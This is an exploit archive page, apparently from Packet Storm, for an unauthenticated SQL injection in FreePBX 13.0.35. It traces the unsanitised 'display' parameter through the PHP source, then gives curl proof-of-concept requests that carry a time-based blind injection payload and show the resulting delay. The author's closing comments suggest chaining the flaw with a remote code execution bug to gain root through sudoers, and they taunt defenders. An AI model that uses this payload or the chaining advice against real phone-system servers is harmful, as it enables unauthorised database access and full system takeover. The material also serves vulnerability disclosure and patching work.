exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Freepbx 13.0.35 SQL Injection

Freepbx 13.0.35 SQL Injection
Posted Aug 29, 2016
Authored by i-Hmx

Freepbx version 13.0.35 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f71cd00e2fd0cddbaa2279de836b448a9e77c13832747b5c8571efd07ff97030

Freepbx 13.0.35 SQL Injection

Change Mirror Download
Vulnerable software : Freepbx
Tested version : 13.0.35
vendor : freepbx.org
Author : i-Hmx
Email : n0p1337@gmail.com
Home : sec4ever.com

Freepbx suffer from unauthenticated sql injection flaw due to insufficient
sanitization of "display" parameter

File : admin/libraries/DB.class.php
public function
getAll($sql,$params=array(),$fetchmode=DB_FETCHMODE_DEFAULT) {
//this is a sad workaround for people who couldn't follow
documentation for functions
$fetchmode = $this->isFetchMode($params) ? $params : $fetchmode;
self::$error = null;
try {
$fetch = $this->correctFetchMode($fetchmode);
if(!empty($params) && is_array($params)) {
$this->res = $this->db->prepare($sql);
------->>>>> $this->res->execute($params);
return $this->res->fetchAll($fetch);
}
$this->res = $this->db->query($sql);
if($this->res === false) {
return false;
}
return $this->res->fetchAll($fetch);
} catch (Exception $e) {
return new DB_Error($e);
}
}

File : admin/libraries/modulefunctions.class.php
Line 593
function getinfo($module = false, $status = false, $forceload =
false) {

global $amp_conf, $db;
$modules = array();

if ($module) {
// get info on only one module
$xml = $this->_readxml($module);
if (!is_null($xml)) {
$modules[$module] = $xml;
// if status is anything else, it will be updated below
when we read the db
$modules[$module]['status'] = MODULE_STATUS_NOTINSTALLED;
}

// query to get just this one
---===>>>> $sql = 'SELECT * FROM modules WHERE modulename =
"'.$module.'"';
}
if ($module || !$modulelist->is_loaded()) {
---===>>>$results = $db->getAll($sql,DB_FETCHMODE_ASSOC);
if(DB::IsError($results)) {
die_freepbx($sql."<br>\n".$results->getMessage());
}

File : admin/libraries/modulefunctions.legacy.php
Line 52
function module_getinfo($module = false, $status = false,
$forceload = false) {
_module_backtrace();
$modulef = module_functions::create();
---===>>> return $modulef->getinfo($module, $status, $forceload);
}

File : admin/views/noaccess.php
<?php
$display = isset($_REQUEST['display'])?$_REQUEST['display']:false;
---===>>> $modinfo = \module_getinfo($display);

'display' parameter is being passed to sql execute() func without perior
sanitization which lead to obvious sql injection flaw without any
pre-needed authentication
POC :

Normal request
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}
+ %{time_starttransfer} = %{time_total}\n" '
http://x.x.x.x/admin/config.php?display=f4ris'
Total request time : 0.001 + 0.309 = 0.334

Sql injected
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}
+ %{time_starttransfer} = %{time_total}\n" '
http://x.x.x.x/admin/config.php?display=f4ris
"XOR(if(6661=6661,sleep(0.03),0))OR"*/'
Total request time : 0.158 + 4.391 = 4.417
# Mix this with the 13.0.35 RCE one , and you are ok to get root just by
echoing asterisk to the sudoers ;)
# We're still ruling the game idiots , from Eg-R1z with dust xDD
# ./f4ris
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close